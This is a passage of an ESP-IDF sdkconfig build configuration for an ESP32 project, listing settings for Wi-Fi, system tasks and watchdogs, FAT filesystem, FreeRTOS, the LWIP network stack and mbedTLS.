CONFIG_ESP_PHY_CALIBRATION_AND_DATA_STORAGE=y 666 | # CONFIG_ESP_PHY_INIT_DATA_IN_PARTITION is not set 667 | CONFIG_ESP_PHY_MAX_WIFI_TX_POWER=20 668 | CONFIG_ESP_PHY_MAX_TX_POWER=20 669 | CONFIG_ESP_PHY_REDUCE_TX_POWER=y 670 | # end of PHY 671 | 672 | # 673 | # Power Management 674 | # 675 | # CONFIG_PM_ENABLE is not set 676 | # end of Power Management 677 | 678 | # 679 | # ESP PSRAM 680 | # 681 | # CONFIG_SPIRAM is not set 682 | # end of ESP PSRAM 683 | 684 | # 685 | # ESP Ringbuf 686 | # 687 | # CONFIG_RINGBUF_PLACE_FUNCTIONS_INTO_FLASH is not set 688 | # CONFIG_RINGBUF_PLACE_ISR_FUNCTIONS_INTO_FLASH is not set 689 | # end of ESP Ringbuf 690 | 691 | # 692 | # ESP System Settings 693 | # 694 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_80 is not set 695 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_160=y 696 | # CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ_240 is not set 697 | CONFIG_ESP_DEFAULT_CPU_FREQ_MHZ=160 698 | 699 | # 700 | # Memory 701 | # 702 | # CONFIG_ESP32_USE_FIXED_STATIC_RAM_SIZE is not set 703 | # end of Memory 704 | 705 | # 706 | # Trace memory 707 | # 708 | # CONFIG_ESP32_TRAX is not set 709 | CONFIG_ESP32_TRACEMEM_RESERVE_DRAM=0x0 710 | # end of Trace memory 711 | 712 | # CONFIG_ESP_SYSTEM_PANIC_PRINT_HALT is not set 713 | CONFIG_ESP_SYSTEM_PANIC_PRINT_REBOOT=y 714 | # CONFIG_ESP_SYSTEM_PANIC_SILENT_REBOOT is not set 715 | # CONFIG_ESP_SYSTEM_PANIC_GDBSTUB is not set 716 | # CONFIG_ESP_SYSTEM_GDBSTUB_RUNTIME is not set 717 | 718 | # 719 | # Memory protection 720 | # 721 | # end of Memory protection 722 | 723 | CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 724 | CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 725 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=3584 726 | CONFIG_ESP_MAIN_TASK_AFFINITY_CPU0=y 727 | # CONFIG_ESP_MAIN_TASK_AFFINITY_CPU1 is not set 728 | # CONFIG_ESP_MAIN_TASK_AFFINITY_NO_AFFINITY is not set 729 | CONFIG_ESP_MAIN_TASK_AFFINITY=0x0 730 | CONFIG_ESP_MINIMAL_SHARED_STACK_SIZE=2048 731 | CONFIG_ESP_CONSOLE_UART_DEFAULT=y 732 | # CONFIG_ESP_CONSOLE_UART_CUSTOM is not set 733 | # CONFIG_ESP_CONSOLE_NONE is not set 734 | CONFIG_ESP_CONSOLE_UART=y 735 | CONFIG_ESP_CONSOLE_MULTIPLE_UART=y 736 | CONFIG_ESP_CONSOLE_UART_NUM=0 737 | CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200 738 | CONFIG_ESP_INT_WDT=y 739 | CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 740 | CONFIG_ESP_INT_WDT_CHECK_CPU1=y 741 | CONFIG_ESP_TASK_WDT=y 742 | # CONFIG_ESP_TASK_WDT_PANIC is not set 743 | CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 744 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 745 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 746 | # CONFIG_ESP_PANIC_HANDLER_IRAM is not set 747 | # CONFIG_ESP_DEBUG_STUBS_ENABLE is not set 748 | CONFIG_ESP_DEBUG_OCDAWARE=y 749 | # CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_5 is not set 750 | CONFIG_ESP_SYSTEM_CHECK_INT_LEVEL_4=y 751 | 752 | # 753 | # Brownout Detector 754 | # 755 | CONFIG_ESP_BROWNOUT_DET=y 756 | CONFIG_ESP_BROWNOUT_DET_LVL_SEL_0=y 757 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_1 is not set 758 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_2 is not set 759 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_3 is not set 760 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_4 is not set 761 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_5 is not set 762 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_6 is not set 763 | # CONFIG_ESP_BROWNOUT_DET_LVL_SEL_7 is not set 764 | CONFIG_ESP_BROWNOUT_DET_LVL=0 765 | # end of Brownout Detector 766 | 767 | # CONFIG_ESP32_DISABLE_BASIC_ROM_CONSOLE is not set 768 | CONFIG_ESP_SYSTEM_BROWNOUT_INTR=y 769 | # end of ESP System Settings 770 | 771 | # 772 | # IPC (Inter-Processor Call) 773 | # 774 | CONFIG_ESP_IPC_TASK_STACK_SIZE=1024 775 | CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y 776 | CONFIG_ESP_IPC_ISR_ENABLE=y 777 | # end of IPC (Inter-Processor Call) 778 | 779 | # 780 | # High resolution timer (esp_timer) 781 | # 782 | # CONFIG_ESP_TIMER_PROFILING is not set 783 | CONFIG_ESP_TIME_FUNCS_USE_RTC_TIMER=y 784 | CONFIG_ESP_TIME_FUNCS_USE_ESP_TIMER=y 785 | CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584 786 | CONFIG_ESP_TIMER_INTERRUPT_LEVEL=1 787 | # CONFIG_ESP_TIMER_SUPPORTS_ISR_DISPATCH_METHOD is not set 788 | CONFIG_ESP_TIMER_IMPL_TG0_LAC=y 789 | # end of High resolution timer (esp_timer) 790 | 791 | # 792 | # Wi-Fi 793 | # 794 | CONFIG_ESP32_WIFI_ENABLED=y 795 | CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM=10 796 | CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM=32 797 | # CONFIG_ESP32_WIFI_STATIC_TX_BUFFER is not set 798 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER=y 799 | CONFIG_ESP32_WIFI_TX_BUFFER_TYPE=1 800 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM=32 801 | # CONFIG_ESP32_WIFI_CSI_ENABLED is not set 802 | CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=y 803 | CONFIG_ESP32_WIFI_TX_BA_WIN=6 804 | CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y 805 | CONFIG_ESP32_WIFI_RX_BA_WIN=6 806 | CONFIG_ESP32_WIFI_NVS_ENABLED=y 807 | CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0=y 808 | # CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_1 is not set 809 | CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 810 | CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 811 | CONFIG_ESP32_WIFI_IRAM_OPT=y 812 | CONFIG_ESP32_WIFI_RX_IRAM_OPT=y 813 | CONFIG_ESP32_WIFI_ENABLE_WPA3_SAE=y 814 | CONFIG_ESP32_WIFI_ENABLE_WPA3_OWE_STA=y 815 | # CONFIG_ESP_WIFI_SLP_IRAM_OPT is not set 816 | # CONFIG_ESP_WIFI_STA_DISCONNECTED_PM_ENABLE is not set 817 | # CONFIG_ESP_WIFI_GMAC_SUPPORT is not set 818 | CONFIG_ESP_WIFI_SOFTAP_SUPPORT=y 819 | # CONFIG_ESP_WIFI_SLP_BEACON_LOST_OPT is not set 820 | # end of Wi-Fi 821 | 822 | # 823 | # Core dump 824 | # 825 | # CONFIG_ESP_COREDUMP_ENABLE_TO_FLASH is not set 826 | # CONFIG_ESP_COREDUMP_ENABLE_TO_UART is not set 827 | CONFIG_ESP_COREDUMP_ENABLE_TO_NONE=y 828 | # end of Core dump 829 | 830 | # 831 | # FAT Filesystem support 832 | # 833 | CONFIG_FATFS_VOLUME_COUNT=2 834 | # CONFIG_FATFS_SECTOR_512 is not set 835 | # CONFIG_FATFS_SECTOR_1024 is not set 836 | # CONFIG_FATFS_SECTOR_2048 is not set 837 | CONFIG_FATFS_SECTOR_4096=y 838 | CONFIG_FATFS_SECTORS_PER_CLUSTER_1=y 839 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_2 is not set 840 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_4 is not set 841 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_8 is not set 842 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_16 is not set 843 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_32 is not set 844 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_64 is not set 845 | # CONFIG_FATFS_SECTORS_PER_CLUSTER_128 is not set 846 | # CONFIG_FATFS_CODEPAGE_DYNAMIC is not set 847 | CONFIG_FATFS_CODEPAGE_437=y 848 | # CONFIG_FATFS_CODEPAGE_720 is not set 849 | # CONFIG_FATFS_CODEPAGE_737 is not set 850 | # CONFIG_FATFS_CODEPAGE_771 is not set 851 | # CONFIG_FATFS_CODEPAGE_775 is not set 852 | # CONFIG_FATFS_CODEPAGE_850 is not set 853 | # CONFIG_FATFS_CODEPAGE_852 is not set 854 | # CONFIG_FATFS_CODEPAGE_855 is not set 855 | # CONFIG_FATFS_CODEPAGE_857 is not set 856 | # CONFIG_FATFS_CODEPAGE_860 is not set 857 | # CONFIG_FATFS_CODEPAGE_861 is not set 858 | # CONFIG_FATFS_CODEPAGE_862 is not set 859 | # CONFIG_FATFS_CODEPAGE_863 is not set 860 | # CONFIG_FATFS_CODEPAGE_864 is not set 861 | # CONFIG_FATFS_CODEPAGE_865 is not set 862 | # CONFIG_FATFS_CODEPAGE_866 is not set 863 | # CONFIG_FATFS_CODEPAGE_869 is not set 864 | # CONFIG_FATFS_CODEPAGE_932 is not set 865 | # CONFIG_FATFS_CODEPAGE_936 is not set 866 | # CONFIG_FATFS_CODEPAGE_949 is not set 867 | # CONFIG_FATFS_CODEPAGE_950 is not set 868 | CONFIG_FATFS_AUTO_TYPE=y 869 | # CONFIG_FATFS_FAT12 is not set 870 | # CONFIG_FATFS_FAT16 is not set 871 | CONFIG_FATFS_CODEPAGE=437 872 | CONFIG_FATFS_LFN_NONE=y 873 | # CONFIG_FATFS_LFN_HEAP is not set 874 | # CONFIG_FATFS_LFN_STACK is not set 875 | CONFIG_FATFS_FS_LOCK=0 876 | CONFIG_FATFS_TIMEOUT_MS=10000 877 | CONFIG_FATFS_PER_FILE_CACHE=y 878 | # CONFIG_FATFS_USE_FASTSEEK is not set 879 | # end of FAT Filesystem support 880 | 881 | # 882 | # FreeRTOS 883 | # 884 | 885 | # 886 | # Kernel 887 | # 888 | # CONFIG_FREERTOS_SMP is not set 889 | # CONFIG_FREERTOS_UNICORE is not set 890 | CONFIG_FREERTOS_HZ=100 891 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set 892 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set 893 | CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y 894 | CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1 895 | CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536 896 | # CONFIG_FREERTOS_USE_IDLE_HOOK is not set 897 | # CONFIG_FREERTOS_USE_TICK_HOOK is not set 898 | CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16 899 | # CONFIG_FREERTOS_ENABLE_BACKWARD_COMPATIBILITY is not set 900 | CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 901 | CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 902 | CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 903 | CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 904 | # CONFIG_FREERTOS_USE_TRACE_FACILITY is not set 905 | # CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set 906 | # end of Kernel 907 | 908 | # 909 | # Port 910 | # 911 | CONFIG_FREERTOS_TASK_FUNCTION_WRAPPER=y 912 | # CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set 913 | # CONFIG_FREERTOS_ENABLE_STATIC_TASK_CLEAN_UP is not set 914 | CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y 915 | CONFIG_FREERTOS_ISR_STACKSIZE=1536 916 | CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y 917 | # CONFIG_FREERTOS_FPU_IN_ISR is not set 918 | CONFIG_FREERTOS_TICK_SUPPORT_CORETIMER=y 919 | CONFIG_FREERTOS_CORETIMER_0=y 920 | # CONFIG_FREERTOS_CORETIMER_1 is not set 921 | CONFIG_FREERTOS_SYSTICK_USES_CCOUNT=y 922 | # CONFIG_FREERTOS_PLACE_FUNCTIONS_INTO_FLASH is not set 923 | # CONFIG_FREERTOS_PLACE_SNAPSHOT_FUNS_INTO_FLASH is not set 924 | # CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set 925 | CONFIG_FREERTOS_ASSERT_ON_UNTESTED_FUNCTION=y 926 | CONFIG_FREERTOS_ENABLE_TASK_SNAPSHOT=y 927 | # end of Port 928 | 929 | CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF 930 | CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION=y 931 | CONFIG_FREERTOS_DEBUG_OCDAWARE=y 932 | # end of FreeRTOS 933 | 934 | # 935 | # Hardware Abstraction Layer (HAL) and Low Level (LL) 936 | # 937 | CONFIG_HAL_ASSERTION_EQUALS_SYSTEM=y 938 | # CONFIG_HAL_ASSERTION_DISABLE is not set 939 | # CONFIG_HAL_ASSERTION_SILENT is not set 940 | # CONFIG_HAL_ASSERTION_ENABLE is not set 941 | CONFIG_HAL_DEFAULT_ASSERTION_LEVEL=2 942 | # end of Hardware Abstraction Layer (HAL) and Low Level (LL) 943 | 944 | # 945 | # Heap memory debugging 946 | # 947 | CONFIG_HEAP_POISONING_DISABLED=y 948 | # CONFIG_HEAP_POISONING_LIGHT is not set 949 | # CONFIG_HEAP_POISONING_COMPREHENSIVE is not set 950 | CONFIG_HEAP_TRACING_OFF=y 951 | # CONFIG_HEAP_TRACING_STANDALONE is not set 952 | # CONFIG_HEAP_TRACING_TOHOST is not set 953 | # CONFIG_HEAP_ABORT_WHEN_ALLOCATION_FAILS is not set 954 | # end of Heap memory debugging 955 | 956 | # 957 | # Log output 958 | # 959 | # CONFIG_LOG_DEFAULT_LEVEL_NONE is not set 960 | # CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set 961 | # CONFIG_LOG_DEFAULT_LEVEL_WARN is not set 962 | CONFIG_LOG_DEFAULT_LEVEL_INFO=y 963 | # CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set 964 | # CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set 965 | CONFIG_LOG_DEFAULT_LEVEL=3 966 | CONFIG_LOG_MAXIMUM_EQUALS_DEFAULT=y 967 | # CONFIG_LOG_MAXIMUM_LEVEL_DEBUG is not set 968 | # CONFIG_LOG_MAXIMUM_LEVEL_VERBOSE is not set 969 | CONFIG_LOG_MAXIMUM_LEVEL=3 970 | CONFIG_LOG_COLORS=y 971 | CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y 972 | # CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set 973 | # end of Log output 974 | 975 | # 976 | # LWIP 977 | # 978 | CONFIG_LWIP_LOCAL_HOSTNAME="espressif" 979 | # CONFIG_LWIP_NETIF_API is not set 980 | # CONFIG_LWIP_TCPIP_CORE_LOCKING is not set 981 | CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y 982 | # CONFIG_LWIP_L2_TO_L3_COPY is not set 983 | # CONFIG_LWIP_IRAM_OPTIMIZATION is not set 984 | CONFIG_LWIP_TIMERS_ONDEMAND=y 985 | CONFIG_LWIP_MAX_SOCKETS=10 986 | # CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set 987 | # CONFIG_LWIP_SO_LINGER is not set 988 | CONFIG_LWIP_SO_REUSE=y 989 | CONFIG_LWIP_SO_REUSE_RXTOALL=y 990 | # CONFIG_LWIP_SO_RCVBUF is not set 991 | # CONFIG_LWIP_NETBUF_RECVINFO is not set 992 | CONFIG_LWIP_IP4_FRAG=y 993 | CONFIG_LWIP_IP6_FRAG=y 994 | # CONFIG_LWIP_IP4_REASSEMBLY is not set 995 | # CONFIG_LWIP_IP6_REASSEMBLY is not set 996 | # CONFIG_LWIP_IP_FORWARD is not set 997 | # CONFIG_LWIP_STATS is not set 998 | CONFIG_LWIP_ESP_GRATUITOUS_ARP=y 999 | CONFIG_LWIP_GARP_TMR_INTERVAL=60 1000 | CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32 1001 | CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y 1002 | # CONFIG_LWIP_DHCP_DISABLE_CLIENT_ID is not set 1003 | CONFIG_LWIP_DHCP_DISABLE_VENDOR_CLASS_ID=y 1004 | # CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set 1005 | CONFIG_LWIP_DHCP_OPTIONS_LEN=68 1006 | CONFIG_LWIP_NUM_NETIF_CLIENT_DATA=0 1007 | 1008 | # 1009 | # DHCP server 1010 | # 1011 | CONFIG_LWIP_DHCPS=y 1012 | CONFIG_LWIP_DHCPS_LEASE_UNIT=60 1013 | CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8 1014 | # end of DHCP server 1015 | 1016 | # CONFIG_LWIP_AUTOIP is not set 1017 | CONFIG_LWIP_IPV6=y 1018 | # CONFIG_LWIP_IPV6_AUTOCONFIG is not set 1019 | CONFIG_LWIP_IPV6_NUM_ADDRESSES=3 1020 | # CONFIG_LWIP_IPV6_FORWARD is not set 1021 | # CONFIG_LWIP_NETIF_STATUS_CALLBACK is not set 1022 | CONFIG_LWIP_NETIF_LOOPBACK=y 1023 | CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8 1024 | 1025 | # 1026 | # TCP 1027 | # 1028 | CONFIG_LWIP_MAX_ACTIVE_TCP=16 1029 | CONFIG_LWIP_MAX_LISTENING_TCP=16 1030 | CONFIG_LWIP_TCP_HIGH_SPEED_RETRANSMISSION=y 1031 | CONFIG_LWIP_TCP_MAXRTX=12 1032 | CONFIG_LWIP_TCP_SYNMAXRTX=12 1033 | CONFIG_LWIP_TCP_MSS=1440 1034 | CONFIG_LWIP_TCP_TMR_INTERVAL=250 1035 | CONFIG_LWIP_TCP_MSL=60000 1036 | CONFIG_LWIP_TCP_FIN_WAIT_TIMEOUT=20000 1037 | CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5744 1038 | CONFIG_LWIP_TCP_WND_DEFAULT=5744 1039 | CONFIG_LWIP_TCP_RECVMBOX_SIZE=6 1040 | CONFIG_LWIP_TCP_QUEUE_OOSEQ=y 1041 | # CONFIG_LWIP_TCP_SACK_OUT is not set 1042 | CONFIG_LWIP_TCP_OVERSIZE_MSS=y 1043 | # CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set 1044 | # CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set 1045 | CONFIG_LWIP_TCP_RTO_TIME=1500 1046 | # end of TCP 1047 | 1048 | # 1049 | # UDP 1050 | # 1051 | CONFIG_LWIP_MAX_UDP_PCBS=16 1052 | CONFIG_LWIP_UDP_RECVMBOX_SIZE=6 1053 | # end of UDP 1054 | 1055 | # 1056 | # Checksums 1057 | # 1058 | # CONFIG_LWIP_CHECKSUM_CHECK_IP is not set 1059 | # CONFIG_LWIP_CHECKSUM_CHECK_UDP is not set 1060 | CONFIG_LWIP_CHECKSUM_CHECK_ICMP=y 1061 | # end of Checksums 1062 | 1063 | CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 1064 | CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 1065 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set 1066 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set 1067 | CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF 1068 | # CONFIG_LWIP_PPP_SUPPORT is not set 1069 | CONFIG_LWIP_IPV6_MEMP_NUM_ND6_QUEUE=3 1070 | CONFIG_LWIP_IPV6_ND6_NUM_NEIGHBORS=5 1071 | # CONFIG_LWIP_SLIP_SUPPORT is not set 1072 | 1073 | # 1074 | # ICMP 1075 | # 1076 | CONFIG_LWIP_ICMP=y 1077 | # CONFIG_LWIP_MULTICAST_PING is not set 1078 | # CONFIG_LWIP_BROADCAST_PING is not set 1079 | # end of ICMP 1080 | 1081 | # 1082 | # LWIP RAW API 1083 | # 1084 | CONFIG_LWIP_MAX_RAW_PCBS=16 1085 | # end of LWIP RAW API 1086 | 1087 | # 1088 | # SNTP 1089 | # 1090 | CONFIG_LWIP_SNTP_MAX_SERVERS=1 1091 | # CONFIG_LWIP_DHCP_GET_NTP_SRV is not set 1092 | CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000 1093 | # end of SNTP 1094 | 1095 | CONFIG_LWIP_BRIDGEIF_MAX_PORTS=7 1096 | CONFIG_LWIP_ESP_LWIP_ASSERT=y 1097 | 1098 | # 1099 | # Hooks 1100 | # 1101 | # CONFIG_LWIP_HOOK_TCP_ISN_NONE is not set 1102 | CONFIG_LWIP_HOOK_TCP_ISN_DEFAULT=y 1103 | # CONFIG_LWIP_HOOK_TCP_ISN_CUSTOM is not set 1104 | CONFIG_LWIP_HOOK_IP6_ROUTE_NONE=y 1105 | # CONFIG_LWIP_HOOK_IP6_ROUTE_DEFAULT is not set 1106 | # CONFIG_LWIP_HOOK_IP6_ROUTE_CUSTOM is not set 1107 | CONFIG_LWIP_HOOK_ND6_GET_GW_NONE=y 1108 | # CONFIG_LWIP_HOOK_ND6_GET_GW_DEFAULT is not set 1109 | # CONFIG_LWIP_HOOK_ND6_GET_GW_CUSTOM is not set 1110 | CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_NONE=y 1111 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_DEFAULT is not set 1112 | # CONFIG_LWIP_HOOK_NETCONN_EXT_RESOLVE_CUSTOM is not set 1113 | CONFIG_LWIP_HOOK_IP6_INPUT_NONE=y 1114 | # CONFIG_LWIP_HOOK_IP6_INPUT_DEFAULT is not set 1115 | # CONFIG_LWIP_HOOK_IP6_INPUT_CUSTOM is not set 1116 | # end of Hooks 1117 | 1118 | # CONFIG_LWIP_DEBUG is not set 1119 | # end of LWIP 1120 | 1121 | # 1122 | # mbedTLS 1123 | # 1124 | CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y 1125 | # CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set 1126 | # CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set 1127 | CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y 1128 | CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384 1129 | CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096 1130 | # CONFIG_MBEDTLS_DYNAMIC_BUFFER is not set 1131 | # CONFIG_MBEDTLS_DEBUG is not set 1132 | 1133 | # 1134 | # mbedTLS v3.x related 1135 | # 1136 | # CONFIG_MBEDTLS_SSL_PROTO_TLS1_3 is not set 1137 | # CONFIG_MBEDTLS_SSL_VARIABLE_BUFFER_LENGTH is not set 1138 | # CONFIG_MBEDTLS_X509_TRUSTED_CERT_CALLBACK is not set 1139 | # CONFIG_MBEDTLS_SSL_CONTEXT_SERIALIZATION is not set 1140 | CONFIG_MBEDTLS_SSL_KEEP_PEER_CERTIFICATE=y 1141 | # end of mbedTLS v3.x related 1142 | 1143 | # 1144 | # Certificate Bundle 1145 | # 1146 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE=y 1147 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_FULL=y 1148 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_CMN is not set 1149 | # CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_DEFAULT_NONE is not set 1150 | # CONFIG_MBEDTLS_CUSTOM_CERTIFICATE_BUNDLE is not set 1151 | CONFIG_MBEDTLS_CERTIFICATE_BUNDLE_MAX_CERTS=200 1152 | # end of Certificate Bundle 1153 | 1154 | # CONFIG_MBEDTLS_ECP_RESTARTABLE is not set 1155 | # CONFIG_MBEDTLS_CMAC_C is not set 1156 | CONFIG_MBEDTLS_HARDWARE_AES=y 1157 | CONFIG_MBEDTLS_HARDWARE_MPI=y 1158 | CONFIG_MBEDTLS_HARDWARE_SHA=y 1159 | CONFIG_MBEDTLS_ROM_MD5=y 1160 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_SIGN is not set 1161 | # CONFIG_MBEDTLS_ATCA_HW_ECDSA_VERIFY is not set 1162 | CONFIG_MBEDTLS_HAVE_TIME=y 1163 | # CONFIG_MBEDTLS_PLATFORM_TIME_ALT is not set 1164 | # CONFIG_MBEDTLS_HAVE_TIME_DATE is not set 1165 | CONFIG_MBEDTLS_ECDSA_DETERMINISTIC=y 1166 | CONFIG_MBEDTLS_SHA512_C=y 1167 | CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y 1168 | # CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set 1169 | # CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set 1170 | # CONFIG_MBEDTLS_TLS_DISABLED is not set 1171 | CONFIG_MBEDTLS_TLS_SERVER=y 1172 | CONFIG_MBEDTLS_TLS_CLIENT=y 1173 | CONFIG_MBEDTLS_TLS_ENABLED=y 1174 | 1175 | # 1176 | # TLS Key Exchange Methods 1177 | # 1178 | # CONFIG_MBEDTLS_PSK_MODES is not set 1179 | CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y 1180 | CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y 1181 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y 1182 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y 1183 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y 1184 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y 1185 | # end of TLS Key Exchange Methods 1186 | 1187 | CONFIG_MBEDTLS_SSL_RENEGOTIATION=y 1188 | CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y 1189 | # CONFIG_MBEDTLS_SSL_PROTO_GMTSSL1_1 is not set 1190 | # CONFIG_MBEDTLS_SSL_PROTO_DTLS is not set 1191 | CONFIG_MBEDTLS_SSL_ALPN=y 1192 | CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y 1193 | CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y 1194 | 1195 | # 1196 | # Symmetric Ciphers 1197 | # 1198 | CONFIG_MBEDTLS_AES_C=y 1199 | # CONFIG_MBEDTLS_CAMELLIA_C is not set 1200 | # CONFIG_MBEDTLS_DES_C is not set 1201 | # CONFIG_MBEDTLS_BLOWFISH_C is not set 1202 | # CONFIG_MBEDTLS_XTEA_C is not set 1203 | CONFIG_MBEDTLS_CCM_C=y 1204 | CONFIG_MBEDTLS_GCM_C=y 1205 | # CONFIG_MBEDTLS_NIST_KW_C is not set 1206 | # end of Symmetric Ciphers 1207 | 1208 | # CONFIG_MBEDTLS_RIPEMD160_C is not set 1209 | 1210 | # 1211 | # Certificates 1212 | # 1213 | CONFIG_MBEDTLS_PEM_PARSE_C=y 1214 | CONFIG_MBEDTLS_PEM_WRITE_C=y 1215 | CONFIG_MBEDTLS_X509_CRL_PARSE_C=y 1216 | CONFIG_MBEDTLS_X509_CSR_PARSE_C=y 1217 | # end of Certificates 1218 | 1219 | CONFIG_MBEDTLS_ECP_C=y 1220 | # CONFIG_MBEDTLS_DHM_C is not set 1221 | CONFIG_MBEDTLS_ECDH_C=y 1222 | CONFIG_MBEDTLS_ECDSA_C=y 1223 | # CONFIG_MBEDTLS_ECJPAKE_C is not set 1224 | CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y 1225 | CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y 1226 | CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y 1227 | CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y 1228 | CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y 1229 | CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y 1230 | CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y 1231 | CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y 1232 | CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y 1233 | CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y 1234 | CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y 1235 | CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y 1236 | CONFIG_MBEDTLS_ECP_NIST_OPTIM=y 1237 | # CONFIG_MBEDTLS_POLY1305_C is not set 1238 | # CONFIG_MBEDTLS_CHACHA20_C is not set 1239 | # CONFIG_MBEDTLS_HKDF_C is not set 1240 | # CONFIG_MBEDTLS_THREADING_C is not set 1241 | # CONFIG_MBEDTLS_LARGE_KEY_SOFTWARE_MPI is not set 1242 | # 